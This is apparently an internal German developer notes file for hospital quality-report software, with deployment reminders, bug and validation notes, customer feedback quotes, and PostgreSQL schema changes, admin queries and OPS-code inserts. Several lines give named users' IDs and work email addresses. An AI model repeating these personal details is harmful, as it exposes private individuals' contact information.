*Unterschiede die in der Production Version vorhanden sein müssen:
*
*SOLANGE XML EXPORT NICHT FERTIG pages/export/export.xhtml <c:set var="enableXML" value="true"/>
* Constants.java: SERVICEURL muss Port 8080 nutzen (56)
* Constants.java ADMINORGANIZATIONID auf 3 setzen (231)
* web.xml: Production einkommentieren (11ff), Cookie Settings einkommentieren (140ff)
* ActivationBean.java: Empfängeradresse muss die des Users sein (405)
* ActivationBean.java Empfängeradresse muss die des verwalter sein (861)
* UsersBean.java: Empfängeradresse muss die des Users sein (868)
* LoginBean.java Email des Users (738)
*
*
*https://www.dkgev.de/themen/digitalisierung-daten/informationstechnik-im-krankenhaus/verzeichnisse-und-register/standortverzeichnis/
*
*
*Info: Nutzer: Frau Martina Münnich (294763365) IK: 261400379 SO: 99 C-5.1 Ausnahmetatbestand
*Info: Nutzer a.falke@bernward-khs.de, 260320622 SO: 00 , A12.5.4 Schlüssel AS06
*Info: Nutzer Benno Kastenholz (294533394) IK: 260710087 SO: 99, A12.5.4 Schlüssel AS06
*
*Probleme bei xml Export, siehe Ticket 1008 https://ticket.promato.de/scp/tickets.php?id=1087
*AS05 / 06 teilweise verbuggt, error in XMLGeneratorA Zeile 2387, zValue1 == null
*Zusätzlich steht bei manchen EInträgen ein Datum dabei 260710087 AS05, keine Ahnung woher
*Leider lässt sich der Fehler nicht reproduzieren auch bei kopiertem JSON, weder lokal noch auf dem production
*
*Verbesserungen:
*Wechsel von Standorten -> B6 / B7 / B9 lädt nicht neu -> Schwierig nachzuvollziehen und kann (bzw hat) zu Fehleingaben führen
*
*mail, wenn aktivierung ur verfügung steht:
*adina metzig
*
*
*Gesamtberichttest:
*java.lang.NullPointerException: Cannot invoke method getCall_number() on null object at merging.MergeHospitals_2017$_mergeValues_closure14_closure45_closure56_closure62.doCall(MergeHospitals_2017.groovy:942)
*NM66 Zusatzangabe muss nach Verbatim gemerged werden wird aktuell nach VerbatimFV gemerged
*
*20191108, 20191111, 20191112 auf 20191112 buchen
*20191144, 20191147 auf 20191147 buchen
*20191188, 20191189 auf 20191189 buchen
*20191339, 20191340 -> 20191340
*20191356, 20191357 -> 20191357
*20191428, 20191430, 20191431, 20191432, 20191433, 20191434, 20191435 -> 20191435
*20191441, 20191442 -> 20191442
*
*KH, bei denen Fehler im XML auftreten würden -> Formulare zurückgesetzt? Informiert, wenn 100% freigegeben ?
*B-1 Chefärzte, Erweiterung um freiwillige Angabe, Ausgabe im PDF/DOCX/Kontrollbericht implementiert?
*Meldung im Programm zu B-1 / Chefärzte ...
*
*Test XML-Export 2018:
*XML:
*Versionsnummer im Element <Software> Ist: 2.0 Soll: 2.5
*ICD nicht in absteigender Häufigkeit angegeben
*OPS nicht in absteigender Häufigkeit angegeben
*Hinterlegte Schemaprüfung akzeptiert leere Eingabe bei Fax von Verantwortlicher Person Arzneimitteltherapiesicherheit nicht
*Plausibilisierung im GFL-Portal funktioniert? Wurde getestet? Fkt. laut Herrn Dietrich
*
*Formulare:
*Schieberegler für Hygienepersonal in A12.3 braucht Erläuterung mit Landesrechtliche Vorgabe liegt vor. Nein darf nur ausgewählt werden wenn keine Vorgabe existiert
*Vorsitzender Hygienekommission: Telefon als Pflichtfeld markiert, ist jedoch nur Kontaktperson kurz, Validierung ist richtig
*A12.3.2.2 Trifft nicht zu in Auswahl ersetzen durch Keine Operativen Eingriffe am Standort
*A12.3.2.3 Trifft nicht zu ersetzen durch Keine Wundversorgung am Standort
*A12.5 AS-Schlüssel teilweise SOP mit und teilweise ohne Datum als Zusatzangaben in Auswahlliste. AS 03 z.B darf nur mit Datum anegegeben werden ist jedoch kein Pflichtfeld
*
*260101547-01, -03 A-12.4 Anonyme Eingabemöglichkeiten existieren: Formular "Nein" xml "Ja"
*260101547-03 A-12.4 Anonyme Eingabemöglichkeiten existieren Formular "Nein", Kommentar und URL fehlen in XML, in Formular ausgefüllt
*261000206 A-12.4 fast alle boolean falsch, formular immer "ja" xml "nein"
*260340158-00 <Umgang_mit_Risiken_in_der_Patientenversorgung> Verantwortliche Person in formular nicht enthalten. XML = enthalten ??? Wie kann etwas im XML vorhanden sein, was nicht im Formular steht???
*ICD nicht endstellig, sondern aggregiert
*
*PersonalzahlenIm/Export:
*Weniger 500er, besser Fehlermeldungen anzeigen
*Fehler die bisher angezeigt werden müssen genauer lokalisiert werden: Datenblatt angeben
*
*§21-Import:
*Verworfene Überlieger ausweisen - Überlieger, die nicht automatisch übernommen werden können werden, werden nicht importiert, soweit korrekt.
*Aber diese sollten gesondert angezeit werden, mit einer entsprechenden Meldung, analog zu den anderen Code-Listen/Meldungen
*
*Wenn §21-Import im Schritt Fachabteilungen zuordnen belassen wird und in einem anderen Standort mit gleicher IK ein neuer §21-Import gestartet wird werden die Dateien des ersten überschrieben.
*Erster Standort bleibt jedoch im Schritt Fachabteilungen zuordnen, was zu Fehler beim Import führen kann. Entweder ersten Standort zurücksetzen oder Unterordner pro Standortnummer im Import-Ordner
*
*Link zu QBM-Muster
*http://pad.netfutura.de/p/qbmMuster
*
*CREATE TABLE public.indiv_department_cover
*(
* departmentid bigint NOT NULL,
* jsondata text,
* CONSTRAINT indiv_department_cover_pkey PRIMARY KEY (departmentid)
*)
*CREATE TABLE public.indiv_formular_cover
*(
* formularid bigint NOT NULL,
* departmentid bigint,
* jsondata text,
* CONSTRAINT indiv_formular_cover_pkey PRIMARY KEY (formularid)
*)
*alter table hospital add column individualize boolean not null default false;
*alter table hospital add column indiv_template bigint references filelog;
*
*-- endergebnis
*SELECT
*CASE
*WHEN SUBSTRING(ik,3,2) = '01' THEN 'Schleswig-Holstein'
*WHEN SUBSTRING(ik,3,2) = '02' THEN 'Hamburg'
*WHEN SUBSTRING(ik,3,2) = '03' THEN 'Niedersachsen'
*WHEN SUBSTRING(ik,3,2) = '04' THEN 'Bremen'
*WHEN SUBSTRING(ik,3,2) = '05' THEN 'Nordrhein-Westfalen'
*WHEN SUBSTRING(ik,3,2) = '06' THEN 'Hessen'
*WHEN SUBSTRING(ik,3,2) = '07' THEN 'Rheinland-Pfalz'
*WHEN SUBSTRING(ik,3,2) = '08' THEN 'Baden-Württemberg'
*WHEN SUBSTRING(ik,3,2) = '09' THEN 'Bayern'
*WHEN SUBSTRING(ik,3,2) = '10' THEN 'Saarland'
*WHEN SUBSTRING(ik,3,2) = '11' THEN 'Berlin'
*WHEN SUBSTRING(ik,3,2) = '12' THEN 'Brandenburg'
*WHEN SUBSTRING(ik,3,2) = '13' THEN 'Mecklenburg-Vorpommern'
*WHEN SUBSTRING(ik,3,2) = '14' THEN 'Sachsen'
*WHEN SUBSTRING(ik,3,2) = '15' THEN 'Sachsen-Anhalt'
*WHEN SUBSTRING(ik,3,2) = '16' THEN 'Thüringen'
*WHEN SUBSTRING(ik,3,2) = '21' THEN 'Spezial (Länderkode 21)'
*WHEN SUBSTRING(ik,3,2) = '95' THEN 'netfutura (Länderkode 95)'
*WHEN SUBSTRING(ik,3,2) = '97' THEN 'Spezial (Länderkode 97)'
*END AS bundesland
*,COUNT(distinct ik) FROM ( -- only ik count
*-- ,COUNT(ik) FROM ( -- hospital count
*SELECT DISTINCT ON (hospitalid) ik FROM filelog
*JOIN hospital USING (hospitalid)
*WHERE filetype = 6
*-- and hospitalid not in (select hospitalid from hospital where call_number = '99') -- without GB
*and ik not like '9%') AS a
*GROUP BY SUBSTRING(ik,3,2)
*ORDER BY SUBSTRING(ik,3,2)::int
*
*--- Letzte Häuser, die bearbeiten
*-- fertige xml dateien
*select * from (select h.hospitalid, h.name, h.ik, h.call_number,
*11 * count(d.departmentid) + 20 as d_count,
*(select count(formularid) from formular where hospitalid = h.hospitalid and qb_year_flag = 14) as f_count_1,
*(select count(formularid) from formular where hospitalid = h.hospitalid and qb_year_flag = 14 and state >3) as f_count_2,
*(select 100*count(formularid)/(11 * count(d.departmentid) + 20) from formular where hospitalid = h.hospitalid and qb_year_flag = 14 and state>3) as perc
*from hospital h
*join organization_hospital oh on oh.hospitalid = h.hospitalid
*join organization o on oh.organizationid = o.organizationid
*join hospital_departments hd on h.hospitalid = hd.hospitalid
*join department d on hd.departmentid = d.departmentid
*where d.qb_year_flag = 14 and d.departmentid in (select departmentid from hospital_departments)
*and oh.organizationid != 3 and oh.organizationid != 4
*--and (h.hospitalid = d.hospitalid or not exists (select departmentid from department where hospitalid = h.hospitalid))
*and h.hospitalid in (select hospitalid from organization_hospital where organizationid != 3 and organizationid != 4)
*and h.hospitalid not in (select hospitalid from hospital where ik like '9%')
*and h.hospitalid not in (select hospitalid from filelog where filename ilike '%xml%')
*and d.departmentid in (select departmentid from hospital_departments)
*and h.hospitalid != 4003739 -- asklepios test haus
*and h.hospitalid != 4003626 -- enger august/unvollendet
*--and oh.organizationid in (select organizationid from organization_hospital where hospitalid in (select hospitalid from rbacuser where last_login > 1542280262 or last_login is null)) -- 14.11.2018 0:00 Uhr
*--and h.hospitalid in (3056, 4003710, 4003626, 4003489, 3022)
*group by h.hospitalid, h.ik, h.call_number
*order by perc desc, ik asc) t
*where perc > 0
*
*
*-- max last login per organization
*select oh.organizationid, h.hospitalid, max(r.last_login) from rbacuser r
*join hospital h on r.hospitalid = h.hospitalid
*join organization_hospital oh on h.hospitalid = oh.hospitalid
*where h.hospitalid in (
*4003674,
*4003710,
*4003738,
*2964,
*3342,
*3022,
*4002943,
*2994,
*2989,
*4003247,
*103824401,
*2971,
*3378,
*4003489,
*4003416,
*4003073,
*294970051,
*220288081,
*4003626,
*225891331,
*225892060,
*3055,
*3056
*)
*and organizationid != 3
*group by organizationid, h.hospitalid
*order by max desc
*
*
*Bennennung der Dateien unter dem Punkt "Hilfedateien" verbessern
*
*PDF TOC Probleme: Bitte kurze Mail falls Fix gefunden wird
*Frau Margarita Schollmeier (294694303) IK: 261600521 SO: 99
*Feedback:
*Chat:
*
*Von Herr Jatzkowski freigegeben
*294551213 13.11.18 10:31
*Jatzkowski:
*Insgesamt bin ich mit Ihrer Software und ganz besonders mit der sehr zeitnahen Betreuung sehr zufrieden. Kompliment.
*
*294701860 08.11.18
*09:07:54 Sandra Tuchel: Okay.
*Vielen Dank für Ihre Unterstützung und die Ihrer Kollegen. Ich würde promato immer wieder nutzen - insbesondere auch wegen Ihrer guten Erreichbarkeit durch den Chat und der Benutzerfreundlichkeit des Programms. Tschüss, bis zum nächsten Jahr
*
*Von Frau Kälble zur Benutzung freigegeben
*264526231 29.10.18
*13:14:42 Laura Kälble (laura.kaelble@og.ortenau-klinikum.de): Sehr geehrtes Promato-Team,
*ich wollte mich auch in diesem Jahr für die gute Unterstützung bei der Erstellung des Qualitätsberichts bedanken. Vor allem herzlichen Dank für die immer schnelle Beantwortung von Fragen, die während der Erstellung aufgetreten sind. Ich bin wirklich sehr zufrieden mit Ihrer Software und dem Support.
*
*294694603 23.07.18
*11:31:19 Anne Sophie Altmann: Vielen Dank dass Sie sich darum kümmern!
*Ansonsten bin ich mit der Software sehr zufrieden. Nach dem ganzen Drama mit EasyQB im vergangenen Jahr bin ich froh dass man sich jetzt auf die Software verlassen kann. Da macht die Erstellung der Berichte ja schon fast Spaß.
*
*Von Herr Geisel zur Veröffentlichung freigegeben
*Harald Geisel Ticket #000686
*Hallo zusammen,
*erst mal ein großes Lob für die sehr schnelle und kompetente Bearbeitung der Tickets. Ebenso sind wir mit dem Programm sehr zufrieden.
*
*Von Frau Scheidler freigegeben
*Ute Scheidler Ticket #000722
*Sehr geehrte Damen und Herren,
*auch in diesem Jahr war ich wieder sehr zufrieden mit promato.
*
*Zahlungsstatus von manuell verschickten Rechnungen prüfen:
*
*SELECT rechnung_nummer,
*CASE
*WHEN paid = true THEN 'bezahlt'
*WHEN paid = false THEN 'nicht bezahlt'
*END
*AS paid
*FROM organization
*JOIN UNNEST('{
*20181474,
*}'::int[]) WITH ORDINALITY t(rechnung_nummer, ord) USING (rechnung_nummer)
*ORDER BY t.ord
*"Aktive" Organizations ohne Bestellung:
*
*SELECT organizationid, ROUND(SUM(perc) / COUNT(ik)) AS perc, r.email_adress
*FROM (
* SELECT ik, ROUND(SUM(perc) / COUNT(hospitalid)) AS perc
* FROM (SELECT * FROM progress_view) a
* GROUP BY (ik)
*) b
*JOIN (
* SELECT DISTINCT (organizationid), o.ik FROM organization
* JOIN organization_hospital o USING (organizationid)
* JOIN hospital USING (hospitalid)
* WHERE assistant_last_step >= 2
* AND organizationid != 3
* AND organizationid != 4
* AND order_stamp IS NULL
*) c
*USING (ik)
*JOIN rbacuser r ON r.organization = c.organizationid
*WHERE r.rbacroleid = 2
*GROUP BY (organizationid, email_adress)
*ORDER BY perc DESC, organizationid
*
*
*Häuser, die seit 1.10. nicht mehr online waren:
*select organizationid, pv.ik, pv.call_number, o.*
*from progress_view pv
*left join organization_hospital oh using (hospitalid)
*left join organization o using (organizationid)
*where organizationid not in (
* select distinct(organization)
* from rbacuser
* where last_login >= 1569880800000
* order by organization)
*and perc < 100 and organizationid != 3 and islkg = false and isdktig = false
*
*
*Alle Verwalter denen Hospitals fehlen:
*
*SELECT * FROM rbacuser r WHERE rbacroleid = 2
*AND
*(SELECT COUNT(*) FROM hospital_user_relation hur WHERE hur.rbacuserid = r.rbacuserid)
*<
*(SELECT COUNT(*) FROM organization_hospital oh WHERE oh.organizationid = r.organization)
*
*
*Häuser mit EasyQB Relikten:
*
*select ik,call_number,name from department
*join hospital using (hospitalid)
*where identifier ~ '.*Fachabteilung [0-9]+.*'
*and departmentid in (select departmentid from hospital_departments)
*
*select ik,call_number,name from formular_json
*join formular on formular.guid = formular_json.formular_guid
*join hospital using (hospitalid)
*where jsondata ~* '.*"id_202_0":"Krankenhaustraeger".*'
*
*Bearbeitungsstatus aller aktiven Hospitals anzeigen:
*
* SELECT DISTINCT ON (h.ik,h.call_number) h.ik,h.call_number,
*
* CASE
*
* WHEN h.assistant_last_step = 0 THEN 'Datenübernahme'
*
* WHEN h.assistant_last_step = 1 THEN '§21-Import'
*
* WHEN h.assistant_last_step = 2 THEN 'Formularbearbeitung'
*
* WHEN h.assistant_last_step = 3 THEN 'Formular Freigabe'
*
* WHEN h.assistant_last_step = 4 THEN 'Erstellung der Abgabedatei'
*
* WHEN h.assistant_last_step = 5 THEN 'Plausibilitätsprüfung'
*
* END
*
* FROM hospital h
*
* JOIN organization_hospital USING (hospitalid)
*
* --WHERE h.call_number = '99'
*
* ORDER BY h.ik,h.call_number
*
* Select a.*, b.perc
* from
* (SELECT DISTINCT ON (h.ik,h.call_number) h.ik,h.call_number,
* CASE
* WHEN h.assistant_last_step = 0 THEN 'Datenübernahme'
* WHEN h.assistant_last_step = 1 THEN '§21-Import'
* WHEN h.assistant_last_step = 2 THEN 'Formularbearbeitung'
* WHEN h.assistant_last_step = 3 THEN 'Formular Freigabe'
* WHEN h.assistant_last_step = 4 THEN 'Erstellung der Abgabedatei'
* WHEN h.assistant_last_step = 5 THEN 'Plausibilitätsprüfung'
* END
* FROM hospital h
* JOIN organization_hospital USING (hospitalid)
* ORDER BY h.ik,h.call_number) a
* left join
* (select * from (select h.hospitalid, h.ik, h.call_number,
*11 * count(d.departmentid) + 20 as d_count,
*(select count(formularid) from formular where hospitalid = h.hospitalid and qb_year_flag = 14) as f_count_1,
*(select count(formularid) from formular where hospitalid = h.hospitalid and qb_year_flag = 14 and state >3) as f_count_2,
*(select count(formularid)::decimal/(11 * count(d.departmentid) + 20)from formular where hospitalid = h.hospitalid and qb_year_flag = 14 and state>3) as perc
*from hospital h, department d
*where d.qb_year_flag = 14
*and (h.hospitalid = d.hospitalid or not exists (select departmentid from department where hospitalid = h.hospitalid))
*group by h.hospitalid, h.ik, h.call_number
*order by perc desc, ik asc) t) b
*on a.ik = b.ik and a.call_number = b.call_number
*where SUBSTRING(a.ik,3,2) = '16'
*order by a.ik, a.call_number
*
*
*
*Organisationen die dieses Jahr nicht eingeloggt waren:
*
*select * from organization o
*where organizationid not in (
*select distinct on (organization) r2.organization from rbacuser r2 where r2.last_login is not null and r2.last_login >= 1527804000000 order by r2.organization, r2.last_login DESC
*)
*
*
*Verbesserungsvorschläge:
*
*Hinweis §21-Daten nicht mit Excel bearbeiten
* eventuell bei mit Excel bearbeiteten Daten Fehlermeldung anzeigen, die das beinhaltet
*Formular mit Unterformularen beenden
* Hinweis steht in der FAQ, sollte aber eventuell direkt im Formular angezeigt werden
*Aktivierungscode
* Hinweis dass Aktiviertungscode erst nach Zahlungseingang versandt wird besser kommunizieren
*Freischaltung Gesamtbericht
* Viele Nachfragen nach dem Gesamtbericht bereits vor der Freischaltung
*Formularfreigrabe:
* Größere Checkboxen
*Gesamtbericht:
* Fehlerhafte bzw. leere Felder teilweise nicht mit rotem X gekennzeichnet
* Formular lässt sich trotzdem nicht beenden
* Fehler schwer zu finden
*
*Gesamtberichttests:
*nach Fachabteilungsmerging ist B-6/7/9 freigegeben.
*
*A12.3.2.1 Fehler im Vgl. mit Datensatzbeschreibung:
*Wrapper um ZVK mit trifft zu / nicht zu benötigt. DS Seite 78
*Kein_Einsatz_ZVK XML-Exort angepasst, Template Änderung 2018!!
*
*PlausiErgebnisse:
*
*260571454 Standort 01
*Standorte des Krankenhauses bei Gesamtbericht
*Das XML-Element >Qualitaetsbericht/Krankenhaus/Standortkontaktdaten_Gesamtbericht< ist nicht vorhanden, obwohl es sich um einen Gesamtbericht (Standortnummer 99) handelt.
*Sollte Ihr Krankenhaus über mehrere Standorte verfügen und es sich bei diesem Bericht um einen Gesamtbericht handeln, so muss unter A-1 die Standortnummer 99 vergeben werden. In diesem Falle müssen die Kontaktdaten aller Standorte angegeben werden. Sollte Ihr Krankenhaus über nur einen Standort verfügen, dann muss die Standortnummer 00 verwendet werden.
*
*Runden...
*Anzahl der Ärztinnen und Ärzte ohne Belegärztinnen und Belegärzte (A-Teil)
*Die Felder >Personalerfassung/Beschaeftigungsverhaeltnis/Personal_mit_direktem_BV/Anzahl_VK< und >Personalerfassung/Beschaeftigungsverhaeltnis/Personal_ohne_direktem_BV/Anzahl_VK< in >Qualitaetsbericht/Personal_des_Krankenhauses/Aerzte/Aerzte_ohne_Belegaerzte< entsprechen in Summe nicht >Qualitaetsbericht/Personal_des_Krankenhauses/Aerzte/Aerzte_ohne_Belegaerzte/Personalerfassung/Anzahl_VK<
*Bitte prüfen Sie Ihre Angaben in A-11.1. Der Wert Anzahl Vollkräfte der Ärztinnen und Ärzte ohne Belegärztinnen und Belegärzte muss der Summe der zugehörigen Werte des Personals mit und ohne direktes Beschäftigungsverhältnis entsprechen.
*Anzahl der Ärztinnen und Ärzte ohne Belegärztinnen und Belegärzte (A-Teil)
Formularbuilder / Backbone sollte man zu React/Polymer/WebComponents (Custom HTMLElements) o.ä. migrieren ...
Überarbeitung des Generators muss für v3 eingeplant werden, insbes. auch besere JSON-Handhabung und Verzicht auf Indizes, Ersetzen durch geschachteltes JSON (?) [s.u.]
https://github.com/hemanth/awesome-pwa
https://medium.com/@denisraslov/7-tips-for-migration-from-backbone-to-react-redux-a006a927c39e
*A-11.4 csv import?
*
*B679: gleiche sortierung in Formular und Vorschau sekundäre Sortierung in Vorschau jetzt möglich
*
*A11.1
*Belegärzte -> Im Gesamtbericht kann die (Gesamt-)Summe der Belegärzte != Summe der Belegärzte der Standorte sein ...
*evtl. muss man das Feld (wieder) änderbar machen ...
*
*Positiv-Liste 2018
*https://www.g-ba.de/downloads/17-98-4837/2019-06-20_Qb-R_Positivliste_2018.pdf
*Anleitung anpassen:
Im Formular vorhanden, fehlt noch in der Anleitung : bei einem PDF-, DOCX- oder XML-Export durchgeführt.
Vorschau sollte noch hinzugefügt werden
BJ2018:
Mail senden an neuen Nutzer wenn im Progamm angelegt? (Missbrauch von Mailadressen verhindern)
automatisierte Angebotserstellung im Programm, für uns zum leichteren Erstellen von Angeboten, evtl. Verwalter unverbindliches Angebot selbst erstellen? -> QB2018
Rechnung -> Prüfen ob Fachabteilungszahl >= Standortzahl
Ändern der JSON Struktur:
alt: "{\"id_1\":\"wert\", \"id_2\":\"wert\"}"
neu: "{\"id\":{\"1\":\"wert\", \"2\":\"wert\"}}"
Wir lassen für die PDF/Word Versionen z.B. die CT´s und Pflege Proceduren raus. Ich habe nur eine Abteilung. Muss ich jedes Jahr alles händisch löschen? -> Einfach leere Datei hochladen !! Um einzelne Schlüssel NUR in der Docx/PDF nicht anzuzeigen?
XML-Import Schlüsselimport von "Sontiges" prüfen, Beschreibung sollte nicht aus DB geladen werden
Passwort ändern von anderem User -> optional force_reset setzen
Neuer Button in C-5 zur Berechnung der Mindestmnegen als Summe der OPS aus den B-7-Formularen
Link zu Plausiprüfung ergänzen? Evtl. als Action zu einem "fehlerfreien" XML-Export?
ALTER TABLE public.organization
ALTER COLUMN paid SET DEFAULT false;
alter table session_ip
add column user_agent varchar
CREATE TABLE public.session_ip
(
id serial primary key,
session character varying,
stamp bigint,
session_started boolean,
ip character varying,
last_accessed bigint,
max_intervall bigint
)
create table invoice_info (
rechnung_nummer int primary key,
adress varchar,
invoice_order varchar
)
CREATE TABLE public.filelog_warnings
(
filelogid integer NOT NULL,
warnings integer,
errors integer,
CONSTRAINT filelog_warnings_pkey PRIMARY KEY (filelogid),
CONSTRAINT filelog_warnings_filelogid_fkey FOREIGN KEY (filelogid)
REFERENCES public.filelog (filelogid) MATCH SIMPLE
ON UPDATE NO ACTION ON DELETE NO ACTION
)
alter table filelog_warnings add column hints int
ALTER TABLE public.custom_style_options
ADD COLUMN force boolean DEFAULT false;
CREATE TABLE public.captcha_whitelist
(
ip character varying NOT NULL,
rbacuserid bigint NOT NULL,
count integer NOT NULL DEFAULT 0,
CONSTRAINT pk_captcha_whitelist PRIMARY KEY (ip, rbacuserid)
)
WITH (
OIDS=FALSE
);
ALTER TABLE public.captcha_whitelist
OWNER TO postgres;
CREATE TABLE public.c5_validation_mapping
(
type character varying NOT NULL,
key character varying NOT NULL,
version integer NOT NULL,
CONSTRAINT c5_validation_mapping_pkey PRIMARY KEY (type, key, version)
)
WITH (
OIDS=FALSE
);
ALTER TABLE public.c5_validation_mapping
OWNER TO postgres;
insert into c5_validation_mapping values ('Kniegelenk-Totalendoprothesen','5-822.9',2017);
insert into c5_validation_mapping values ('Kniegelenk-Totalendoprothesen','5-822.g',2017);
insert into c5_validation_mapping values ('Kniegelenk-Totalendoprothesen','5-822.h',2017);
insert into c5_validation_mapping values ('Kniegelenk-Totalendoprothesen','5-822.j',2017);
insert into c5_validation_mapping values ('Kniegelenk-Totalendoprothesen','5-822.k',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-423.0',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-423.1',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-423.2',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-423.3',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-423.x',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-423.y',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-424.0',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-424.1',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-424.10',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-424.11',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-424.12',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-424.1x',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-424.2',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-424.x',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-424.y',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-425.0',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-425.1',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-425.2',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-425.x',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-425.y',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-426.0',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-426.1',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-426.2',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-426.x',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-426.y',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-427.0',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-427.1',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-429.p',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-429.p0',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-429.p1',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-429.p2',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-429.q',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-429.q0',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-429.q1',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-429.q2',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-438.0',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-438.1',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Ösophagus','5-438.x',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-523.2',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-523.x',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-524.0',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-524.00',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-524.01',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-524.02',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-524.1',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-524.2',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-524.3',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-524.4',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-524.x',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-525.0',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-525.1',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-525.2',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-525.3',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-525.4',2017);
insert into c5_validation_mapping values ('Komplexe Eingriffe am Organsystem Pankreas','5-525.x',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-503.0',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-503.1',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-503.2',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-503.3',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-503.4',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-503.5',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-503.6',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-503.x',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-503.y',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-504.0',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-504.1',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-504.2',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-504.3',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-504.4',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-504.5',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-504.x',2017);
insert into c5_validation_mapping values ('Lebertransplantation','5-504.y',2017);
insert into c5_validation_mapping values ('Nierentransplantation','5-555.0',2017);
insert into c5_validation_mapping values ('Nierentransplantation','5-555.1',2017);
insert into c5_validation_mapping values ('Nierentransplantation','5-555.10',2017);
insert into c5_validation_mapping values ('Nierentransplantation','5-555.11',2017);
insert into c5_validation_mapping values ('Nierentransplantation','5-555.2',2017);
insert into c5_validation_mapping values ('Nierentransplantation','5-555.3',2017);
insert into c5_validation_mapping values ('Nierentransplantation','5-555.4',2017);
insert into c5_validation_mapping values ('Nierentransplantation','5-555.5',2017);
insert into c5_validation_mapping values ('Nierentransplantation','5-555.6',2017);
insert into c5_validation_mapping values ('Nierentransplantation','5-555.7',2017);
insert into c5_validation_mapping values ('Nierentransplantation','5-555.70',2017);
